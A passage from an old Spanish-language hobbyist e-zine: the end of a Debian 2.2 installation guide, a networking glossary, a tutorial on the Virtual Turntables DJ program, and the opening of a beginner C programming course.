menos que quieras bajar los paquetes de internet a 3kb/s =)

3.6.1 Ahora elegimos de donde queremos instalar los paquetes. Apt-Setup    nos 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ preguntará    si
queremos agregar otro CDROM a la lista de donde sacar paquetes.

3.6.2 Add another Apt source: le ponemos que no, para poder instalar solamente 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ los paquetes desde el CDROM.

3.7: How do you want choose additional softaware to install?: Aquí     ponemos 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ como   vamos   a
seleccionar los paquetes adicionales que vamos a instalar:

Simple ==>Es la que vas a seleccionar, sino no estarías leyendo
Advanced ==>mmm, no creo que todavia quieras enfrentarte a dselect
Debería aparecer algo como esto:

[*] C++ Dev ==>Desarrollo en C++ (Librerias)
[*] C Dev ==>Desarrollo en C (Libreria)
[ ] Chinese S
[ ] Chinese T
[ ] Database PG
[*] Debian Devel ==>Desarrollo Debian 
[*] Debug 
[*] Devel Common ==>Desarrollo Común
[*] Dial up ==>Una Herramienta para conectarse a Inet
[ ] Dial up ISDN
[ ] DNS Server
[*] Fortran ==>Sólo para ver lo que se hacia a¤os atrás ;)
[*] Games ==>Let's Fun
[ ] Gnome Apps
[ ] Gnome Desktop
[ ] Gnome Games
[ ] Gnome Net
[ ] Imap
[ ] Japanese
[ ] Laptop
[*] Newbie Help ==>Yo que tu lo instalaría ;)
[ ] News Server
[*] Objc Dev ==>Desarrollo en Objetive C
[ ] Parallel Computing Dev
[ ] Parallel Computing Node
[ ] Polish
[*] Python ==\
[*] Python Bundle ===\-->Un Potente lenguaje matemático
[*] Python Dev ===/-->Muy de Moda Hoy en día
[*] Python Web ==/
[*] Samba ==>Para Compartir Recursos con maquinas wilson
[*] Science ==>Herramientas científicas
[ ] Sgml
[*] Spanish ==>Sólo ponlo ;)
[*] Tcltk 
[*] Tcltk Dev ==>Desarrollo en Tcltk
[*] Tex ==>Herramientas para el formateo en TeX
[*] X Window System ==\-->La cara "bonita" de Linux
[*] X Window System Core ==/-->Servidor Gráfico y eso

Las que están con [*] son las que yo usualmente Instalo,te recomiendo Instalar 
los: xxxx Dev, ya que traen librerias que necesitaras para  compilar programas 
después (ej:ncurses para programas en la consola,etc).

4 EL ataque de preguntas:
^^^^^^^^^^^^^^^^^^^^^^^^^

4.1 AnXious: Tratará de configurar tu servidor gráfico ;)
^^^^^^^^^^^^

**NOTA8: Las siguientes preguntas, estan  con respuestas  que  se adecuan a mi 
Hardware, a mis necesidades y gustos.  Tu  debes responder  de  acuerdo a _TU_ 
Hardware, necesidade y gustos. NO ME HAGO RESPONSABLE POR DA¤OS EN MONITORES Y 
TARJETAS, RESPONDE CON DATOS PRECISOS.

4.1.1 May I continue: _yes_ si queremos tratar de  configurarlo  y  _no_  para 
^^^^^^^^^^^^^^^^^^^^^ hacerlo con xf86config luego (o: vi /etc/X11/XF86Config )

Si respondes _no_ mira en la parte 4.2

4.1.2 Auto detect Video Card: _yes_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 

4.1.3 X Window System Fonts:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[*] xfonts-75dpi
[ ] xfonts-100dpi
4.1.4 Terminal Emulators for the X Window System
[*] eterm
[ ] ==>muchos más
[*] xterm
Yo elijo sólo esas dos, cuestión personal =P
4.1.5 Window Managers
[*] Enlightenment
[*] BlackBox
[ ] Sawmill
[ ] Otros
[*] twm
Cuestión personal ;)

4.1.6 XDM: Marcamos _yes_ si queremos activar este Sistema
^^^^^^^^^^

4.1.7 Mouse Protocol
^^^^^^^^^^^^^^^^^^^^
(*) Serial
( ) PS/2
( ) Logitech

4.1.8 Emulate 3 Buttons: Ponemos _yes_
^^^^^^^^^^^^^^^^^^^^^^^^

4.1.9 Mouse Device:
^^^^^^^^^^^^^^^^^^^
/dev/ttyS0 ==>Si es un mouse serial conectado en el COM1
/dev/psaux ==>Si es un mouse PS/2

4.1.10 Select Keymap
^^^^^^^^^^^^^^^^^^^^
(*) US/Standard

4.1.11 Horizontal Sync Range of your Monitor:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
**NOTA9: Elije correctamente las caracteristicas de  tu monitor,  el dar malos 
datos puede causar da¤os irreparables a tu Hardware. Obviamente, yo no me hago 
responsable por algun tipo de da¤o en tu PC =P

(*) 8514 Compatible 1027x768 87 Hz interlaced no 800x600
( ) Custom

4.1.12 Vertical Sync Range of your Monitor
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(*) 50-90

4.1.13 Name for your Monitor:(en mi caso) ViewSonic E40
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

4.1.14 Video Memory:(Mini-Nota:Recurda que 1M=1024k)
^^^^^^^^^^^^^^^^^^^^
( ) 256k
( ) 512k
( ) 1024k
( ) 2048k
(*) 4096k

4.1.15 Name for your Video Card: SiS
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

4.1.16 Clockchip
^^^^^^^^^^^^^^^^
(*) None

4.1.17 Should I try to probe for clocks now?:_no_ (en mi caso)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

4.1.18 Default Color Depth
^^^^^^^^^^^^^^^^^^^^^^^^^^
(*) 24bpp

4.1.19 Default Resolution
^^^^^^^^^^^^^^^^^^^^^^^^^
(*) 1024x768

4.1.20 Sopported Resolution
^^^^^^^^^^^^^^^^^^^^^^^^^^^
[*] 800x600
[*] 1024x768

4.1.21 Create a Configuration file:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
--------------------------------\
| /etc/X11/XF86Config |
--------------------------------/

4.2 Lynx Configuration:
^^^^^^^^^^^^^^^^^^^^^^^
What is Lynx's homepage?:
http://www.debian.org

4.3 Configuring GnuPlot:
^^^^^^^^^^^^^^^^^^^^^^^^
Do you want to install gnuplot SETUID root?
_yes_ _no_

Por posibles problemas de seguridad (xploits), en un sistema en red se debería 
poner _no_. Si el PC es de casa, y no da servicios de Inet (telnet,etc), ponga 
_yes_

4.4 el resto:Obvio qu no voi a poner todas las preguntas que hace cada paquete 
que instalamos =P, pero leyendo con calma, las  respuestas  aparecen ante  tus 
ojos.

**NOTA11:Cuando se instale wvdial, pon que no se  active, ya  que  asi  podrás 
trabajar con pppconfig y pon.

5 Despues de la instalación:

5.1 Actulizando el sistema:
^^^^^^^^^^^^^^^^^^^^^^^^^^^

5.1.1 dselect: Esta es una poderosa herramienta para las personas  que quieran 
^^^^^^^^^^^^^^ instalar nuevos paquetes, existen  infinidad  de  manuales  que
explican como ocuparla, pero basta con leer la propia ayuda que dselect te  va
dando, para poder instalar algun paquete.

**NOTA12:Guia Rápida:
^^^^^^^^^^^^^^^^^^^^^
[S]elect, luego apretamos _barra_espaciadora_ _+_ agrega un paquete

Si tiene problemas de dependencias apretamos _espacio_ y seleccionamos con _+_ 
los paquetes dependientes _X_ con esta tecla salimos  de  la  seccion [S]elect

[I]nstall Agrega los paquetes seleccionados
[C]onfig Configura posibles errores de dependencias
[E]xit 

5.1.2 apt-get: poderosisima herramienta que nos  permite  instalar,   remover, 
"upgredear", configurar,( y más) paquetes.

**NOTA13: apt-Setup nos permite seleccionar de donde leerá  los paquetes para
agregar un sitio http o ftp seguir las instrucciones.

Mirror de Debian en Chile:
http://debian.atmlab.utfsm.cl/debian

**NOTA14:apt-get install _nombre_del_paquete 

5.2 Y Guin2??
^^^^^^^^^^^^^
Recuerda que ahora booteamos con LILO, entonces tenemos que  decirle  al  LILO 
donde esta guin2. Para esto hacemos lo suigiente:

1. Entramos al Sistema como root
polux:~# vi /etc/lilo.conf

y buscamos las siguientes líneas:

# other=/dev/hda4
# label=HURD
# restricted
# alias=3

y las dejamos así:

other=/dev/hda4
label=gui2 #o: wuinsuck, guinblow, fuck16, dos, caca, etc ;)

salvamos y salimos :x

polux:~# lilo
Added Linux *
Added guin2
polux:~#

6 Inet:
^^^^^^^
6.1 pppconfig: es una poderosa herramienta que nos permitirá conectarnos a Inet 
^^^^^^^^^^^^^^ por ppp. Segir las instrucciones.

**NOTA15:En la seccion DNS, fijarse en elegir Static DNS!!

6.1 Conectandose: La herramienta básica para esto es pon.
^^^^^^^^^^^^^^^^^ pon  _nombre_que_le_dimos_a_nuestro_proveedor_de_Inet   (por
defecto provider) plog muestra como esta nuestra conección poff desconecta  de
Inet

7 Otros: Aunque no son  cosas  específicas  de  Debian, nunca  estan  demas =P
^^^^^^^^

7.1 Configurar el teclado en espa¤ol para el entorno gráfico:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
yo lo hago así:

polux:~# vi /etc/X11/XF86Config

y busco la siguiente línea:

XkbKeymap "xfree86(us)"

2 y la cambio por:

XkbKeymap "xfree86(es)"

7.2 Configurar el manejador Gráfico por defecto
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
th3nc0d3r@polux:~$echo "exec manejador_gráfico">~/.xinitrc
ej:

th3nc0d3r@polux:~$echo "exec blackbox">~/.xinitrc

8 Miscelania:
^^^^^^^^^^^^^
8.1 Autor: Este texto fue escrito por th3nc0d3r.
^^^^^^^^^^

Este texto fue escrito para ser publicado como articulo en la e-zine del grupo 
Electron Security Team.

Cualquier error o Falla en el texto, por favor notificar a: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Cualquier duda escribeme también.

8.2 Otros:
^^^^^^^^^^
Este texto fue escrito en vi:
/----------------------------\
| vi, para hombres de verdad |
\----------------------------/

8.3 Agradecimientos:
^^^^^^^^^^^^^^^^^^^^
- Gracias al EleKtr0 y a todo el grupo EST por permitirme escribir en su revista
- A mi "viejo", que siempre me apoyo con  Linux  ($$tiempo$$) y  a  los  que  me
  mostraron "el camino de la verdad, el camino de Debian" ;)

Autor     : th3nc0d3r
Titulo    : Como Instalar Debian 2.2
Saludos   : Linux-chile // irc.linux-chile.org
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 07 ]>-
`°¤ø,¸,ø¤°

Autor     : EleKtr0
Titulo    : "Electro-diccionario"
Entrega # : F, G, H, I, L, M, N, P, R, S, T, U, V, W, X
Contenido :

Fibra optica: Tecnologia que emplea pulsos de luz laser, enviadros a traves de
finisimas fibras de vidrio, para transportar datos a altas veslocidades

GroupWare: Software de Grupo, es el software que se usa de manera conjunta por
miembros de un grupo de trabajo

Home Run: Termino isado por profesionales o tecnicos  del  cableado  de  redes
para designar una configuracion de cableado

IBM: International Business Machines

IEEE: Instituto de Ingenieros Electricistas y Electronicos

Informacion: Datos que se han convertido a una forma con significado o sentido

Internacion Business Machines: Creadores del PC IBM y las actuales PC`s ISA
basadas en procesadores INTEL

ISO: Organisacion de Estandares Internacionales

LANtastic: Sistema operativo de red punto a punto de Artisoft

Lenguaje de Consulta Estructurado: SQL,es un lenguaje de organisacion de datos
utilizado como cliente o servidor para realizar peticiones  a  un  servicio de
base de datos, actualmente es muy usado en paguinas basadas en PHP

Login: Palabra de entrada que  un  usuario  proporciona  para  identificarse y 
conectarse a un sistema

Macrocomputadora: (mainframe) Computadora  central  muy  grande  cuyo poder de
procesamiento   y  dispositivos  perifericos  utilizados por  muchas  personas
atraves de terminales no inteligentes o software de emulacion de terminal

Margarita: Cualquier topologia de red que conecte computadoras en cadena

Minicomputadora: La sucesora  de  la  mainframe  que  ofrecia  menos  poder de
computacion por bastante menos dinero y requeria  un  control  ambiental menos
rigido

NetBios: Es el prtocolo de comunicacion basico entre dos o mas equipos

NetWare: Linea de sistema operativo de red (NOS) de Novell

NFS: Sistema de archivos de red desarrollado por SUN para archivos compartidos
en una plataforma UNIX

Nodo: Simplemente otro nombre que se la da a  una  computadora  o  dispositivo
(sea una impresora o medem) que se encuentre conectado a una red

NOS: Sistema Operativo de RED

Protocolo: Seria de siglas y procedimientos que gobiernan  el  intercambio  de
datos entre dos sistemasn

Puente: Dispositivo que conecta a dos redes que usen el mismo protocolo

Red de Area Local: Se conoce como LAN

Red de Punto a Punto: Sistema de red que consta de estaciones de  trabajo  que
son capaces de tanto servidores como cliente

Redirector: Componente de software de red que  recibe  peticiones  de  datos y
servicios por parte de un sistema operativo local y los envia al  servidor  de
la red

Repetidor: Dispositivo que conecta segmentos de red

Router: Dispositivos que conecta redes que utilizan protocolos distintos.
Puede usarse  para  separar  trafico  no  deseado, para  reducir  trafico  y/o
proporcionar seguridad contra usuarios no deseados :)

Shell: Interprete de datos de un sistema UNIX

SNA: Arquitectura de sistema de red

Terminadores: Dispositivos que se usan en los extremos finales de un  segmento
de bus lineal para "rebotar" o reflejar la se¤al y evitar fallas de segmento

Token: Mensaje especial que indica que el  poseedor  tiene  derecho  a  enviar 
mensajes en un sistema de red

Topologia: La disposicion fisica en la que esta configurada una red

Unidad Logica: Indicador que se¤ala un lugar de una unidad fisica ejemplo c:\

VINES: Sistema Operativo de Red de Banyan

WAN: Red de Area Amplia

Worm: jeje Melissa, I LOVE YOU les suena esos nombres?

XNS: Sistema de red XEROX


Autor     : EleKtr0
Titulo    : "Electro-diccionario"
Entrega # : F, G, H, I, L, M, N, P, R, S, T, U, V, W, X
E-Mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 08 ]>-
`°¤ø,¸,ø¤°

Autor     : bAnkZide
Titulo    : A fondo con Virtual Turntables 1.80.04
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Contenido :

Hola de nuevo, aki escribire algo ke no se a tratado mucho en la escena  under
nacional, y ke algunos pensaran ke no tiene mucho ke  ver  pero, para  los  ke
siempre han kerido mezclar musica o jugar con ella,o aprender un poco de DJing
pero no saben como empezar,aki les va este articulo. Primero ke todo no tienen
ke comprar nada,ya ke no trabajaremos con tornamesas ni sintetizadores fisicos
sino con un software ke simula a un Mixer  ke  le  llegan  dos  o  mas canales
distintos. Ya explicaremos, ke es un mixer y todo eso, y los canales.

Primero ke todo, tienen ke conseguir este soft, ke solo esta  disponible  para
Windows.

Hay muchos mas programas como este,pero les digo ke este es uno de los mejores
y mas  sencillo de ocupar, aparte es uno de  los  pioneros, en  este  tipo  de
software. Lo pueden bajar desde www.carrotinnovations.com. 

Una vez instalado, entraran a la configuracion del sonido, ahi  seleccionen lo
ke mas les acomode. Recomiendo, tener dos tarjetas de sonido. Una  para  tirar
el sonido hacia los parlantes, y la otra para los audifonos. Pero,para ke eso,
se preguntaran... bueno es ke cuando uno esta poniendo musica, tiene ke buscar
un buen punto de entrada en la cancion ke viene, y eso lo tiene  ke  hacer  en
los audifonos, pare ke el solo lo escuche. Eso se llama "Monitoreo".  Pero  no
hay problema si tienes solo una tarjeta de sonido, ya ke este  programa  trate
unos "Cue Points", ke ya los explikaremos mas adelante.

Abremos el programa y abrimos dos "devices", estas son dos archivos  de  audio,
puden ser mp3 o wav cada uno en un canal. Generalmente kedarian en el  canal 0
y 1. Elige dos canciones. Veras ke ahora  se  abrieron  dos  ventanas  mas, ke
representan un canal kada una. Puedes abrir mas devices, todas las  ke  kieras
pero recomiendo, para empezar solo con dos canales. Ahora vamos a explicar por
partes el VTT-MainMixerBoard, ke kosas trae, y para ke sirve. 


El Main Mixer Board

Bueno el MMB es lo controla los volumenes de cada canal, cual va a sonar a los
parlantes, ke kanal se va a monitoreo, etc. Es mezclador, en el fondo. Si ven,
hay tres barras de volumenes, y una cuarta, el Master ke es volumen  de  todo,
incluyendo los canales. Estas tres barras, ke por le momento  nosotros estamos
ocupando dos, por ke solo tenemos  abierto  dos  canales,  son  los  volumenes
individuales de cada canal. Si te fijas, arriba tambien puedes  selecionar  ke
kanal   asignar  a  cada  barra.  Recomiendo  dejarlos como   estan,  0   y  1
respectivamente.   Ahora,  si  vemos,  al  lado  derecho  tenemos  una  paleta 
"Headphones", donde muestran los canales ke tenemos abiertos, o el  numero  de
"devices". Aki, es donde elegimos ke kanal se va a a monitoreo, o  sea  a  los
audifonos, para dejar la cancion o canal en un buen punto de entrada o  calzar
el tiempo con la ke esta sonando, el otro canal. Es  cosa  de  seleccionar  el
canal y este lo tira hacia audifonos.

Ahora solo nos keda explicar en el MMB el Cross  Fader.  Alomejor  ya  lo  haz
escuchado antes, ya ke este es una de las claves en el mixing. Si ves  a  cada
extremo de esta barra horizontal puedes  elegir  ke  kanal  representar.  Solo
puedes 2 canales simultaneamente. Si te fijas, el Cross fader lo puedes  mover
con el mouse, pero yo recomiendo usar el teclado. Las posiciones van desde  el
1 hasta el 0, pero no estoy hablando  del los numeros del Numpad.  Es bueno ke
ya hayas empezado a jugar con el cross fader. Ahora explicare las posiciones.
Teniendo el cross fader al centro y los dos canales sonando,te daras cuenta ke
los canales suenan en un 100%. Esta posicion representa a los numeros  5  y 6.
Pero, por ejemplo si presionas el numero 4, el canal ke esta representado a la
izkierda seguira en un 100%, pero el otro bajara en un  25%,  y  si  presionas
el 3, este seguira bajando y kedaria en un 50%.Con el 2 en un 75% y finalmente
con el numero 1 no se escuchara, o sea 0%. Lo mismo pasaria para el otro  lado
con los numeros 7, 8, 9 y 0. Mas adelante explicaremos tecnicas con  el  cross
fader.

Ventana "Device" o Canal

Si tienes dos canciones, tendras dos  de  esta  abiertas, ke  son  exactamente 
iguales. Vamos a explicarles todo lo ke se pude hacer aki. Lo primero ke vemos
es un paleta llamada "Status",donde podemos ver dos cosas el Time y BPM (Beats
Per Minute). En el time no hay mucho ke explicar, ya ke komo ven es el  tiempo
de la cancion ke lleva, pero es muy importante, ya veran por ke. Lo ke  si  es
importante y ke hay ke explicarlo con profundidad es  los  BPM.  Cada  cancion
tiene un BPM, ke es como un tempo, por decirlo de  otras formas.  Y  se  puede
calcular. Cuando uno mixea y pasa de una cancion a otra no puede pasar  de  un
BPM muy alto a uno muy bajo o vice versa, por ke sonaria mal.  Por ejemplo, la
cancion de Eminem, The Real Slim Shady tiene BPM 105. Ese es su tiempo.  Ahora
para saber como calcular BPM, y ke el VTT los guarde para  uso  posterior  pon
play en alguna cancion en cualkier canal y apreta en el  boton BPM.  Antes  de
enredarte con lo ke sale elige ke cancion vas a calcular los BPM en la paleta
"Match to", la de la derecha. Obviamente elige la cancion ke dejaste  sonando.
Despues anda a la paleta "Current" y apreta en el  boton  "Calc  BPM".  Se  te
habra abierto otra  ventana  llamada  "BPM Counter".  Ahi  empieza  a  apretar
barra-espacio siguiendo el ritmo de la cancion, con lo ke veras ke  el  numero
ira cambiando, pero fluctuara entre algun numero significativo.
Casi siempre los BPM son cerrados, por ejemplo, 96, 138. Te habras dado cuenta
ke aki te dan dos decimales
pero si ves ke la cosa mientras apretas barra-espacio  fluctua  entre,  po ej.
100.80 y 101.14, el BPM de esa cancion sera 101. Puede ser tambien,  aunke  no
es muy comun, ke salgan BPMs como 135.5, o sea medio entero. Si despues de  un
rato obtuviste el BPM, dejas de apretar barra-espacio y listo.  Si  no kedaste
conforme puedes apretar Reset,y empezar de nuevo. Apretas "OK" y volveras a la
pantalla anterior, ke despues explicaremos para ke sirven esas otras cosas,  y
apretas denuevo "Ok". Listo, ahora como veras,en la paleta "Status" muestra el
BPM ke calculaste.

Siguiendo con el tema, hay un Boton "Info" donde puedes guardar  datos  de  la
cancion, como por ejemplo, guardar ken en el tiempo 2:34:01 empieza justo  ese
coro bueno de la cancion o weas asi. Se usa mas para guardar info de los  "Cue
Points".

Ahora vamos a la paleta pitch. Antes de  leer  esto  recomiendo  ke  ya  hayan
experimentado con esta barra y ke se den cuenta lo ke pasa, cuando la  mueven. 
Bueno, como se habran dado cuenta,esta sube o baja la velocidad de la cancion.
Fijate si tienes una cancion con BPM 120, y bajas el pitch, podras  dejarla en
118 o lo ke tu kieras, con decimales y todo. Los botones de Pitch  (Increase y
Decrease), son para subir  el  tiempo  y  bajarlo,  pero  de  una  manera  mas 
suave, por le ke se habran dado cuenta ke kada  vez  ke  lo  aprietas,  el BPM
aumenta o disminuye en 4 unidades decimales pero eso es configurable, es  cosa
ke vayan al menu "Settings -> Device settings... y a  la  paleta  "Pitch". Por
ultimo, el boton "Bend" sirve para mantener la posicion en la barra  Pitch,  y
esta moverla y hacer efectos, pero cuando se  deje  de  mover,  volvera  a  la
posicion en la cual se apreto "Bend", ke no necesariamente tiene ke ser en BPM
0%.

La paleta "Playback Position", no hay mucho ke explicar, pero si es importante
cuando entremos a explicar los "Cue Points". Lo ke esta relacionada  con  esta
barra son los  botones  "Nudge",  ke  por  defecto  aumentan  o  disminuyen  4
centesimas. Estos botones tambien puden ser pulsados mientras la  cancion esta
sonando, ya ke emulan a las tornamesas cuando, se trata de calzar los  tiempos
a mano.

Kedan dos botones mas, ke son el "Eject" ke trae ese icono, ke supongo  ke  ya 
saben pa ke es,y el "EQ" (Equalizer).Este es el equalizador individual de cada
canal. Hay modalidad 3 canales y 10 canales. Va  por  frecuencias  en  Khz, de
acuerdo a cuantos decibeles, si mas o menos, por el rango de  frecuencias.  En
la modalidad 10 canales, las frecuencias se hacen mas especificas.

Lo ultimo ke nos keda en la ventana de las device, son la serie de botones  de
numeros. Estos,son para guardar un punto especifico, en un tiempo. Por ejemplo,
si yo kiero saltarme el primer minuto de una cancion,y empezar a tocarla justo
en el tiempo 1:23:69, lo ke hago es  ir  a  ese  tiempo,  apretar  pausa.  Ahi
kedaremos y despues elegimos ke numero vamos a ocupar, el 1,entonces apretamos
Control+1 (El 1 del Numpad, los otros numeros son para el cross fader) o  sino 
Control+el numero ke presionemos con el Cursor del mouse.  Ahora  mientras  se
escucha la cancion y kieres ir a esa 
posicion,simplemente apretas el numero. Es bueno darse tiempo para elegir bien
el punto ke vas a grabar, para ke  kede perfecto. Cada cancion  guarda  en  un
archivo de extension .vtc, sus cue points y sus bpms como tambien la  info  si
es ke haya sido ingresado y sus volumenes, pero eso lo maneja el propio VTT.
Estos VTCs estan en una carpeta del mismo nombre.  Es bueno  respaldarlos,para
no perder lo ke hayas grabado si es ke reintalas VTT o lo borras.

Explicando el Menu

Hay  muchas  cosas  del  menu ke  ya  explicamos, mas  ke  todo  muestran  las
abreviaciones con el teclado de ocuparlo, pero hay cosas  importantes,  ke  me
faltan explicar. Bajo la opcion "Device", esta la opcion Enable  DSP  Effects,
para activar estos efectos. Hay muchos  estilos  de  DSP, uno  ke  ponen  eco,
efectos roboticos. Se puden bajar de la red, en www.winamp.com hay muchos. Uno
bueno es el AudioStocker, por ke deja a todos los voloumenes de  las  cancione
siguales. Si te das cuenta los mp3 tienen volumenes diferentes por  ke  fueron
encodeados diferentes, y por otras razones,asi ke para ke no haya mucho cambio
y problemnas con el sonido es bueno activarlo. En DSP Plugins, bajo  "Device",
se lodean y se pueden configurar.

Al lado de Device esta la opcion Sound FX, donde puedes poner efectos  cortos.
VTT trae 3 WAVs, dos tipos de scratch y un  efecto  weno  pa  mixear.  Ahi  se
asigna ke tecla,para activarlos mientras mixeas. Recominedo las teclas Insert,
Re Pag y Av Pag.

Por ultimo, bajo "Settings", encontramos, Skins, ke es pa cambierle el dise~o,
al VTT. En Device Settings, es configurable todo los explicado  anterior,  en 
tiempo de response, etc. Y abajo bueno, config del cross fader y del sonido.  


Tips de Mixeo y efectos

Ya ke vimos todas las partes del programa mas importantes y ke nos interesan a
nosotros y de paso aprender algunos terminos,ya ke esto es iwal en las DENONs,
en tornamesas y todas esas weas, vamos a empezar, como primera  leccion, dejar
dos canciones sonando a un mismo tiempo, osea tienen ke tener un mismo BPM.
Para eso ocupamos el Pitcher, para dejar los BPMs iguales.
Para hacer esto mas facil, abramos una misma cancion 2 veces, y asi no tenemos
ke kontar los BPMs, ya ke nos aseguramos  ke  cuando  la  calzemos, obviamente
tiene el mismo "Tempo". Haz andar una cancion, por ejemplo, en  el canal  0  y
tira el cross fader a la izkierda, si es ke este por defecto  el  canal  0  lo
dejaste a la izkierda de este mismo. La cosa es  encontrar  un  punto,  en  la
cancion en ke justo vaya a sonar el beat, o tambor principal.  Cuando contabas
los BPMs,uno se guia por estos mismos, por eso ayudate con Pausa y con un poco
de Nudge. Guarda la posicion en un Cue Point. El canal 0 esta sonando  como lo
dejamos. Tenemos el cross fader en numero "1", ahora, pongamosle play al canal
1 justo cuando venga el beat en la ke esta sonando en el canal cero.  El canal
uno lo tenemos justo en el punto en ke sonara el beat, entonces en el canal  1
le ponemos play justo y... deberia sonarte bien. Si te suena muy mal es  ke lo
calzaste mal. Te deberian sonar los dos beat al mismo tiempo.  Recuerda  haber
tirade el cross fader suavemnete hacia el centro. Recomiendo para  hacer  esto
una cancion tekno-dance de entre 131-140 BPM, por ke es mas facil, y tienen un
BPM 100 % parejo.

Esto es pura practica, dificil  ke  te  haya  salido  a  la  primera, por  eso
repitelo hasta ke ya vayas hagarando el ritmo. 
Ahora hagamoslo lo mismo, pero con dos canciones diferentes  y  con  distintos
BPMs. Primeo lo ke hay ke aser es calzar los BPMs.  Lo  puedes  hacer  a  mano
ocupando el pitch, o hacerlo mas facil, apretando en el boton BPM,del canal ke
kieras cambiarle el BPM. Despues selecionar los canales bajo la paleta  "Match
to" y apretar el boton del mismo nombre. Automaticamente el  canal ke elegiste
movera el pitch hasta calzar BPM con el otro canal ke elegiste de la lista.

Otra tecnica para pasar de una cancion otra, mas sencilla es ocupando el cross
fader, pero con el teclado, en completa  degradacion. Pero, ke antes de  mover
este, haber puesto play, en un punto interesante, en la cancion ke viene. Otro
efecto interesante es el llamado "Cutting off the motor" o algo asi, ke simula
como si hubieramos apagado una tornamesa. Simplemente hay ke apretar la  tecla
"Fin" o "End" de tu teclado. Para hacer lo inverso esta la tecla "Inicio".

Mas interesante seria ke te bajaras algunos Sound FXs, el VTT mismo trae  uno,
se llama effect0.wav. Otro interesante mix ke sale en la tips del mismo VTT,es
ke agarres una cancion de 70 bpm por ejemplo algo asi como de Celine Dion,algo
lento y lo calse con una cancion rapida,onda tekno de 140. Como 70 es la mitad
de 140, no habria problema de BPMs, por lo ke  kedaria un remix de una cancion
lenta en un bailable.  A  mi  personalmente  esto  me  ha  funcionado, y  keda
realmente bien, si se eligen los temas apropiados. 

Por ultimo, traten de no pitchear mas de un 5% y siempre de pitchear pa arriba,
nunca pa bajo. Espero ke les haya gustado este  articulo, ke  hayan  aprendido
mucho, y ke practiken harto. Les recomiendo ke visiten  el  Message  Board  de 
www.carrotinnovations.com donde encontrar mucha informacion y tips  por  parte
de los usuarios. Tambien visiten   www.mixology.co.uk   donde encontraran  una
extensa lista de BPMs y muchas otras cosas utiles. 

Cualkier duda, critica o consulta a 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 


Autor     : bAnkZide
Titulo    : A fondo con Virtual Turntables 1.80.04
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 09 ]>-
`°¤ø,¸,ø¤°

Autor     : z0rbas
Titulo    : Curso de Programacion en C, Reforzamiento
Entrega   : II
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Contenido :

Indice
======

-ESTRUCTURAS CONDICIONALES
-INTERACCION CON EL USUARIO
-FUNCIONES
-FUNCIONES CON PARAMETROS
-ARRAYS
-PUNTEROS
-ESTRUCTURAS
-FICHEROS
-STRINGS

-ALGUNOS EJEMPLOS


ESTRUCTURAS CONDICIONALES
Las estructuras condicionales son parecidas  a  las  de  control  de  flujo, la 
diferencia es que estas no se repiten un numero de veces , see ejecutan una vez.

IF...ELSE
sintaxis:
if(condicion propuesta)
{
(instrucciones)
}
else
{
(instrucciones que se ejecutan si no se cumple)
}

else se puede omitir, se pueden poner bucles y mas  if  dentro  de  uno, y asi
mezclar.

Ejemplo:
int x;
x=1;
if(x==1)
{
printf(" x es uno \n");
}
else
{
printf(" x no es uno \n");
}
la instruccion if es muy util para la programacion como iras viendo  a  medida
que crees tus propios programas.


SWITCH
Esta es una estructura condicional muy util, pero mas especifica.
sintaxis:
switch(variable)
{
case valor1:(instrucciones)
            break;
case valor2:(instrucciones)
            break;
case valor3:(instrucciones)
	      break;
default:(instrucciones)
}
Lo que esta instruccion  hace  es  ejecutar  la  parte  de  instrucciones  que
corresponda al valor de la variables, la final(default) no es obligatoria,y lo
que hace es ejecuarse en caso de que el valor de la variable no  coincida  con
ninguna.

Ejemplo:
char x;
x='a';
switch(x)
{
case 'b':break;
case 'a': printf(" opcion a \n");
	    break;
default:
}

Con eso ya puedes controlar los distintos rumbos que puede llevar tus programas.


INTERACCION CON EL USUARIO

Esta parte es importante en la programacion, porque  no  nos  sirve  mucho  un
prorama que siempre haga lo mismo. Veamos las funciones basicas nada mas:

getch()  devuelve una tecla presionada.
ej: x = getch();
gets(cadena)  lee una cadena de caracteres del teclado.
scanf(variables)   para lees con la sintaxis de printf.


FUNCIONES

Esto es una parte muy importante en la programacion,por ejemplo C no tiene una
instruccion que imprima caracteres en la pantalla, imaginate si cada  vez  que
quizieras imprimir algo, tuvieras que escribir todo el codigo  de  la  funcion
printf(); para imprimir un mensaje, los programas serian kilometricos,para eso
las funciones nos hacen ahorrar tiempo creando  una  parte  del  programa  que
simplemente se llama, con un ejemplo te quedara mas claro.
----------------------------------------------------------
#include

void funcion()
{
printf("Hola\n");
}

void main()
{
funcion();
funcion();
}
-----------------------------------------------------------

ves la gracia es simplemente escribir  asi  una  funcion, y  despoues  solo la
llamas como se muestra ahi.Ahora la gracia es usar funciones que pasen valores
